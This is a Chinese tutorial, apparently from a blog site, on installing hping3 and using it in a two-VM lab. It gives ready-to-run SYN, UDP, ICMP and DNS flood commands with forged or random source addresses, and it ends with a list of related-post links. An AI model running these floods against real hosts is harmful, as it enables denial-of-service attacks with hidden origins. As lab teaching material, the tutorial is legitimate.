hping3安装使用

安装

安装依赖库

先安装以下依赖库:

yum -y install libpcap
yum -y install libpcap-devel
yum -y install tcl-devel

方式一: yum 安装

yum -y install hping3

方式二:源码安装 (安装报错)

# 下载
wget http://www.hping.org/hping3-20051105.tar.gz# 解压
tar xvf hping3-20051105.tar.gz
cd hping3-20051105# 配置
./configure# 编译
make # 安装
make install 

测试环境

两台虚拟机

192.168.46.3

192.168.46.4

说明

192.168.46.4 安装了 nginx 服务

参数说明

详细说明

https://blog.csdn.net/baidu_19348579/article/details/109443122?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165811271716782184635478%2522%252C%2522scm%2522%253A%252220140713.130102334…%2522%257D&request_id=165811271716782184635478&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2alltop_positive~default-1-109443122-null-null.142v32pc_rank_34,185v2tag_show&utm_term=hping3&spm=1018.2226.3001.4187

简单说明

全局选项

-I 指定所使用的网卡接口

-c 指定发包个数

–fast 指定发包速率,每秒10个

–faster 指定发包速率,每秒100个

–flood 指定发包速率,尽可能按最快速度发,不用回应

-E 从指定的文件中读取数据

-e 增加签名,相当于连接’密码’

-B 启用安全协议

-T 启用路由跟踪模式

-d 指定data数据大小,默认为0

-V 显示发包的详细过程

指定发包模式 [默认走的tcp模式]:

-0 原始ip模式,即RAWSOCKET

-1 icmp模式

-2 udp模式

-8 扫描模式

-9 被动监听模式,可用于正向shell连接

ip配置选项:

-a 伪造源ip

–rand-dest 使用随机目的地址

–rand-source 使用随机源地址

-t 指定ttl值,默认为64

-f 使用分片发送

icmp配置选项:

-C 指定icmp类型

udp/tcp配置选项:

-s 使用指定的源端口,默认是随机的

-p 指定目的端口

-w 指定数据包大小,默认为64

-F 使用FIN标志

-S 使用SYN标志

-R 使用RST标志

-A 使用ACK标志

-U 使用RUG标志

-P 使用PUSH标志

使用

端口扫描

# 通过 eth0 网口,发送 SYN 报文 到 192.168.1.1:80
hping3 -I eth0 -S 192.168.46.4 -p 80

syn flood

默认协议: tcp
默认源端口:随机
默认源地址:攻击机的 ip 地址

# 通过 eth0 网口。发送 SYN 报文 到 192.168.46.4:80。伪造源地址为192.168.1.222,时间间隔 1000us。
hping3 -I eth0 -S 192.168.46.4 -p 80 -a 192.168.1.222 -i u1000# 通过 eth0 网口。发送 SYN 报文 到 192.168.46.4:80。伪造随机源地址,时间间隔 1000us。
hping3 -I eth0 -S 192.168.46.4 -p 80 --rand-source -i u1000# 通过 eth0 网口。发送 SYN 报文 到 192.168.46.4:80。伪造随机源地址,洪水攻击。
# 洪水攻击,速率最快的攻击。不会显示数据 和 丢包的统计。
hping3 -I eth0 -S 192.168.1.168 -p 9000 --rand-source --floodhping3  -S 192.168.1.168 -p 9000 --rand-source --flood

udp flood

# 发送 udp 报文 到 192.168.46.4:80。
hping3 --udp 192.168.46.4 -p 80# 发送 udp 报文 到 192.168.46.4:80。伪造随机源地址,洪水攻击。
hping3 --udp 192.168.1.168 -p 8000 --rand-source --flood

icmp flood

# 发送 icmp 报文 到 192.168.46.4。
hping3 --icmp 192.168.46.4# 发送 icmp 报文 到 192.168.46.4。伪造随机源地址,洪水攻击。
hping3 --icmp 192.168.1.168 --rand-source --flood

dns flood

# 发送 udp 报文 到 192.168.1.1:53。伪造随机源地址,洪水攻击。
hping3 --udp 192.168.1.168  --rand-source --flood

其余参考

https://blog.csdn.net/yk_wing4/article/details/102459068?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165811271716780366569539%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=165811271716780366569539&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allfirst_rank_ecpm_v1~pc_rank_34-24-102459068-null-null.142v32pc_rank_34,185v2tag_show&utm_term=hping3&spm=1018.2226.3001.4187

例如

hping3 -c 12000 -d 13000 -S -w 640 -p 9000 --flood --rand-source 192.168.1.168

hping3安装使用相关推荐

  1. ddos攻击工具_linux下DDoS攻击模拟实战

    前言:电影院如期开放,据前线消息,人实在是少,有些场次一个人看一场,在华夏有电影院开始,应该都少有这种场景吧,再次希望疫情早日散去,在此引用一句话来配合一次图:"直到乌云散去风雨落幕,我们一 ...

  2. iptables详解及实例

    iptables介绍 iptables 规则 表和链关系 匹配规则 iptables 常用命令选项 iptables: 一:iptables介绍 如果linux系统连接到因特网或LAN服务器或连接LA ...

  3. hping3的编译和安装

    注:本次安装基于SUSE11SP3系统 1.获取hping3源码包:http://www.hping.org/download.html ,我下载的是hping3-20051105.tar.gz这个版 ...

  4. 在Linux下安装hping3

    hping 是 面向命令行的用于生成和解析TCP/IP协议数据包汇编/分析的开源工具.作者是Salvatore Sanfilippo,界面灵感来自ping(8)unix命令,目前最新版是 hping3 ...

  5. kail2.0下hping3的安装和使用

    第一部分,hping3的安装 0x01 首先是libpcap的安装 如果安装bison依赖包 运行如下命令 apt-get install bison 需要安装flex-2.6.0安装包,版本其他应该 ...

  6. CentOS 安装hping3工具及安装遇到的错误及解决方法

    hping是用于生成和解析TCPIP协议数据包的开源工具.创作者是Salvatore Sanfilippo.目前最新版是hping3,支持使用tcl脚本自动化地调用其API.hping是安全审计.防火 ...

  7. hping3工具DOS攻击实验

    需要两台机器,一台扮演攻击源,另一做目标源. 攻击源地址:10.0.40.4 被攻击机器地址:10.0.40.246 2 被攻击的机器上安装tcpdump,tcpdump主要是用来抓包的,看看网络数据 ...

  8. fping安装包linux,Linux安装fping和hping

    安装fping > wget http://fping.org/dist/fping-3.15.tar.gz > tar -zxvf fping-3.15.tar.gz > cd f ...

  9. Kali2020版安装 macof安装使用

    0x00 Kali更新了,区别感觉还挺大的,不过我自己用的比较少,对这个不是很感兴趣,我一般有啥用啥.加上有些工具没有了,有人问了,就去解决了,顺手记一下,免得下次还得查半天. 0x01 kali20 ...

  10. hping3的简单介绍(新手向,大佬勿喷)

    一.介绍 我是作为一款端口扫描工具了解到的hping3,与nmap类似. 二.安装 kali内置,若无可自行安装 apt install hping3 -y 三.简单使用 hping3 --help ...

最新文章

  1. Spark UDF用户自定义函数
  2. 基于MongoDb的S3实现
  3. 面试之索引---------如果不能吊打面试官,找我扯皮*
  4. FIR和IIR的区别+差分方程的单位冲激响应(matlab图解)
  5. php xls 邮件,PHPMailer发送邮件
  6. 使用Eclipse 创建 搭建SpringBoot项目
  7. 用JavaScript获取页面上被选中的文字的技巧
  8. 邹欣对话图灵奖得主Jeffrey Ullman:数据库不会进入周期性的坏循环|《新程序员》...
  9. redis主从、哨兵、集群的区别
  10. Java基本数据类型自动转换
  11. Android-EasyChart第二波饼图
  12. 提取数据_提取图表曲线数据的方法
  13. 【 华为云计算专家 HCIE-Cloud Computing V3.0 预发布】
  14. ucore Lab 1 系统软件启动过程
  15. R语言学习(五)——聚类分析
  16. 6步解决win7局域网内传输慢的问题
  17. 计算机网络的 166 个核心概念
  18. OSChina 周三乱弹 —— 谈什么对象?睡什么觉?
  19. wireshark插件 - 添加UI子树, 向子树上添加分析后的文本
  20. 未来的应用为什么需要安全沙箱

热门文章

  1. ip-guard网页浏览放开微信二维码和QQ截图
  2. ubuntu20 scrt 连接ssh报错的解决方法
  3. 极域电子教室软件 v4.0 2015 豪华版忘记密码怎么办
  4. php获取csv文件乱码,php使用fgetcsv读取csv文件乱码解决方法
  5. Web前端程序员简历模板
  6. php libiconv close_PHP 5.3.10 编译安装时出现 undefined reference to `libiconv' 错误的解决方法...
  7. DOSBox安装及使用教程
  8. 克拉默法则(Cramer's Rule)的证明
  9. python实现图片拼接长图_用Python实现长截图拼接
  10. 软件概要设计说明书—模板